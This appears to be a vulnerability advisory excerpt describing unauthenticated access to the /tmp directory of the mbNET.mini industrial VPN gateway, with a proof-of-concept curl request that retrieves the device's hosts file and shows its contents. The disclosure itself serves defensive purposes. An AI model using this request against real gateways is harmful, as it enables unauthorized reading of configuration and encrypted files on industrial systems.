~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The mbNET.mini is a VPN gateway used for remote access and maintenance
in industrial environments.

The manufacturer describes the product as follows (see [1]):

"The mbNET industrial router is the ideal basis for securely connecting
your machines and systems to the Internet - for direct access or via
our remote service portal (my)mbCONNECT24."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The HTTP service of the mbNET.mini allows access to the "/tmp" directory
of the device without any authorization. This allows downloading several
files, e.g. "/tmp/pport.enc", "/tmp/hosts" or under special circumstances
files such as "/tmp/commit.db" or "/tmp/tmpencryptedtar".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

$ curl http://192.168.0.100/tmp/hosts
# V1
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1       localhost
192.168.0.100     mbNETmini     miro
192.168.0.200     gateway
